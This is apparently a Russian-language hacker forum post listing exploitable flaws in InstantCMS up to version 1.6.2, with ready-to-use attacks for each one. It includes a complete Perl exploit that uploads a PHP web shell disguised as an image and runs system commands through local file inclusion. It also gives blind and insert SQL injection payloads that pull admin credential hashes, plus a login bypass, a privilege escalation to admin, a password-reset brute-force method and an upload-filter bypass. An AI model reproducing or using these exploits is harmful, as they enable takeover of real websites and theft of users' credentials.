свои старые и новые находки перенесу, будет полезно.
Баги в версии<=== v 1.5.1
LFI
Need: mq=off
index.php
PHP код:
$inCore->proceedBody();
/core/cms.php
PHP код:
public function proceedBody(){
$inPage = cmsPage::getInstance();
$menuid = $this->menuId();
$is_component = false;
ob_start();
if (isset($_REQUEST['view'])) { $component = htmlentities($_REQUEST['view'], ENT_QUOTES); }
if (isset($component)){
//CHECK COMPONENT NAME (типа фильтр)
if (strstr($component, ' ') ||
strstr($component, '\'') ||
strstr($component, '"') ||
strstr($component, '&') ||
strstr($component, '#') ||
strstr($component, '*') ||
strstr($component, '>') ||
strstr($component, '<') )
{ die('HACKING ATTEMPT BLOCKED'); }
//EXECUTE COMPONENT
if(file_exists('components/'.$component.'/frontend.php')){
echo '<div class="component">';
require ('components/'.$component.'/frontend.php');
eval($component.'();');
echo '</div>';
$is_component = true;
if ($menuid != 1 && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">« Назад</a></p>"; }
} else { echo '<p>Компонент не найден!</p>'; }
}
$inPage->page_body = ob_get_clean();
if ($is_component) { $inPage->page_body = cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }
return true;
}
..................................
exploit
Код:
Index.php?view=[LFI]%00
Баги в версии <=== v 1.5.3
LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
PHP код:
................
if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss'; }
if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die(); }
if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die(); }
if (!isset($cfg['addsite'])) { $cfg['addsite'] = 1; }
if (!isset($cfg['icon_on'])) { $cfg['icon_on'] = 0; }
if (!isset($cfg['maxitems'])) { $cfg['maxitems'] = 50; }
////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
$rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
.............
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/...et=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
CODE EXECUTION via LFI
Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_d) {
&logo();
exit();
}
if (!$opt_u) {
&logo();
exit();
}
if (!$opt_p) {
&logo();
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";
$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
# Лицо
#####################
#
sub logo()
{
print
"\t\t
###########################################################################
############ INSTANT CMS <=== 1.5.3 remote code execution #
############ coddddeeddd by The matrix #
###########################################################################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -u [login] #
# -p [password] #
# exploit.pl -h http://site -d / -u evil -p qwer #
# !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF #
# #
# #
###########################################################################\n\n";
}
#############################
# аутификация
#############################
sub auth() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page1,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
sub auth2() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page11,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
#############################
# тест печенюшек
#############################
#
sub test() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed...Ok...Time for plan B...";
$debug=1;
}
}
sub test2() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed. check you account";
exit();
}
}
#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
else {
print "\nfailed get id";
exit()
}
}
#######################
# Upl0ad fucking shell
#######################
sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data',
Content =>
[
upload => 1,
userid => $id,
picture =>
[
undef,
"123.jpg",
content => $fucking_shell,
"Content-Type" => "image/gif"
]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
print "\n[~]Get some fucking image hash";
if ($ans =~ /name="imageurl" value="(.*?)"/) {
print "\n[+]image hash = $1";
$hash=$1;
}
}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
else
{
print "\n[-]sorry magic_quotes=on or cms unvulnerable";
}
}
&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
}
// почитал статью с ][ оказывается Spyder первооткрыватель хек
sql inj
Need:mq=off
Любые Элементы $_POST в instantCMS проходят фильтрацию. Но фильтр оставляет не тронутыми:
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users', 'LOWER(nickname) LIKE "'.strtolower($nickname).'"', 1)){
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';
}
/core/classes/db.class.php
PHP код:
public function rows_count($table, $where, $limit=0){
$sql = "SELECT * FROM $table WHERE $where";
if ($limit) { $sql .= " LIMIT ".$limit; }
$result = $this->query($sql);
return $this->num_rows($result);
}
Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем в поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
С эксплуатацией придется помучаться, так как < и > - жрет фильтр.
Баги в версии <=== v 1.6.1
множественные sql inj
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой нет зависимостей.
Постараюсь рассказать процесс и его суть в точности как он проходил у меня
идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело.
/core/ajax/karma.php
PHP код:
if (!isset($_REQUEST['target'])) { die(2); } else { $target = $_REQUEST['target']; }
if (!isset($_REQUEST['item_id'])) { die(3); } else { $item_id = $_REQUEST['item_id']; }
if (!isset($_REQUEST['opt'])) { die(4); } else { $opt = $_REQUEST['opt']; }
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
$inCore->loadLib('karma');
if ($opt=='plus'){
cmsSubmitKarma($target, $item_id, 10);
}
if ($opt=='minus'){
cmsSubmitKarma($target, $item_id, -1);
}
$postkarma = cmsKarma($target, $item_id);
...........................
Дрючим скрипты и смотрим функции loadLib() и cmsKarma();
/core/cms.php
PHP код:
public function loadLib($lib){
$libfile = PATH.'/core/lib_'.$lib.'.php';
if (file_exists($libfile)){
include_once($libfile);
return true;
}
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит далее.
/core/lib_karma.php
PHP код:
function cmsKarma($target, $item_id){ //returns array with total votes and total points of karma
$inDB = cmsDatabase::getInstance();
$sql = "SELECT *, SUM(points) as points, COUNT(id) as votes
FROM cms_ratings
WHERE item_id = $item_id AND target='$target'
GROUP BY item_id";
$result = $inDB->query($sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
$data['points'] = round($data['points'], 2);
} else {
$data['points'] = 0;
$data['votes'] = 0;
}
return $data;
}
Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target остаются нетронутыми. Инжектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
В том же месте есть еще несколько подобных скулей с участием этих же переменных.
lib.karma.php
PHP код:
function cmsSubmitKarma($target, $item_id, $points){
$inUser = cmsUser::getInstance();
$inDB = cmsDatabase::getInstance();
$id = $inUser->id;
$ip = $_SERVER['REMOTE_ADDR'];
if(!cmsAlreadyKarmed($target, $item_id, $id)){
$sql = "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())";
$inDB->query($sql);
}
return true;
}
вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
Переустановка пароля админа и угадывание его
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
PHP код:
$sql = "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
$result = $inDB->query($sql) ;
if ($inDB->num_rows($result)>0){
$usr = $inDB->fetch_assoc($result);
$newpassword = substr(md5(microtime()), 0, 6);
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' . "\n\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword . "\n\n";
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': '. cmsUser::getProfileURL($usr['login']) . "\n\n";
$mail_message .= $_LANG['SIGNATURE'].', '. $inConf->sitename . ' ('.HOST.').' . "\n";
$mail_message .= date('d-m-Y (H:i)');
$inCore->mailText($email, $inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message);
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
доступна только
на операционных системах, в которых есть системная функция gettimeofday().
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде. Показаны секунды, они нам нужны, чтобы брутить меньше.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре
100% содержится правильный пассворд. И если ничего не остается, как вариант вполне можно юзать.
Нарушение криптостойкости паролей
еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [[a-f] и [0-9]] расшифровать не трудно)
Баги в версии <=== v 1.6.2
Перевод простого юзера в админы
Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:
if ($do=='editprofile'){
$opt = $inCore->request('opt', 'str', 'edit');
if (usrCheckAuth()){
if ($inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
if ($opt == 'save'){
$errors = false;
$nickname = $inCore->request('nickname', 'str');
if (strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors = true; }
$gender = $inCore->request('gender', 'str');
$city = $inCore->request('city', 'str');
if (strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors = true; }
$email = $inCore->request('email', 'str');
if (!strpos($email, '@') || !strpos($email, '.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors = true; }
$showmail = $inCore->request('showmail', 'int');
$email_newmsg = $inCore->request('email_newmsg', 'int');
$showbirth = $inCore->request('showbirth', 'int');
$description = $inCore->request('description', 'str');
$birthdate = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
$signature = $inCore->request('signature', 'str');
$allow_who = $inCore->request('allow_who', 'str');
$icq = $inCore->request('icq', 'str');
$showicq = $inCore->request('showicq', 'int');
$cm_subscribe = $inCore->request('cm_subscribe', 'str');
if ($inCore->inRequest('field')){
foreach($_POST['field'] as $k=>$val){
$_POST['field'][$k] = str_replace('\"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace('"', '"', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("\'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = str_replace("'", '’', $_POST['field'][$k]);
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
}
$formsdata = $inCore->arrayToYaml($_POST['field']);
$forms_sql = ", formsdata='$formsdata'";
} else {
$forms_sql = '';
}
if (!$errors){
$sql = "UPDATE cms_user_profiles
SET city = '$city',
description = '$description',
showmail='$showmail',
showbirth='$showbirth',
showicq='$showicq',
allow_who='$allow_who',
signature='$signature',
gender='$gender' $forms_sql,
email_newmsg='$email_newmsg',
cm_subscribe='$cm_subscribe'
WHERE user_id = $id";
$inDB->query($sql) ;
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');
}
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
}
Код:
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='$icq',
nickname='$nickname'
WHERE id = $id";
$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя:
group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Юзать так:
В поле ваше имя вбиваем:
group_id=2 #
В поле ICQ Вбиваем:
333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #
Давайте посмотрим, что у нас получилось.
Код:
$sql = "UPDATE cms_users
SET birthdate='$birthdate',
email='$email',
icq='333s \',
nickname=', group_id=2 #'
WHERE id = $id";
После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа. На странице появляются ссылки в админку, можно залезать)
Auth0r1zat1oN byPass
Need: mq=off
Не буду нагромождать лишним кодом.
Запрос для авторизации следующий:
PHP код:
$sql = "SELECT *
FROM cms_users
WHERE $where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0";
Что нельзя использовать
' (Кавычка) [Реплейсится в `(апостроф)]
легко понять, что этого мало.
Как юзать:
В поле логин пишем:
matrix\
в поле пароль пишем:
or id=1#
У нас получится:
Код:
SELECT *
FROM cms_users
WHERE login = 'matrix\' AND password = md5('or id=1#') AND is_deleted = 0 AND is_locked = 0
И авторизация успешно пройдена.
Баги в версии <=== v 1.6.2(15 may 2010 patched)
Последняя на данный момент.
sql injection (insert)
MQ=off
/components/frontend.php
PHP код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)";
Данные обрабатываются по тому же принципу, что и в заметке выше.
$title $description пропускают
\
Как это заюзать
создаем на форуме топик
Название:
matr1x\
Описание:
, (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
Мы получаем
Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99
File Upload
Совсем недавно еще нашел опасный баг в новой версии.
Зависимостей нет
Тащим свой зад на форму аплоада файлов
Код:
http://localhost/users/ваш id/addfile.html
componennts/users/frontend.php
PHP код:
foreach ($_FILES as $key => $data_array) {
$error = $data_array['error'];
if ($error == UPLOAD_ERR_OK) {
@mkdir(PATH.'/upload/userfiles/'.$id);
$tmp_name = $data_array["tmp_name"];
$name = $data_array["name"];
$size = $data_array["size"];
$size_mb += round(($size/1024)/1024, 2);
if ($size_mb <= $free_mb){
if(!strstr($name, '.php') && !strstr($name, '.asp') && !strstr($name, '.aspx') && !strstr($name, '.js') && !strstr($name, '.html') && !strstr($name, '.phtml')){
if (move_uploaded_file($tmp_name, PATH."/upload/userfiles/$id/$name")){
Функция strstr() регистрозависима.
То есть зальем файл file.pHp, и он пройдет проверку. После заливки, cms добровольно отдаст ссылку на ваш шелл.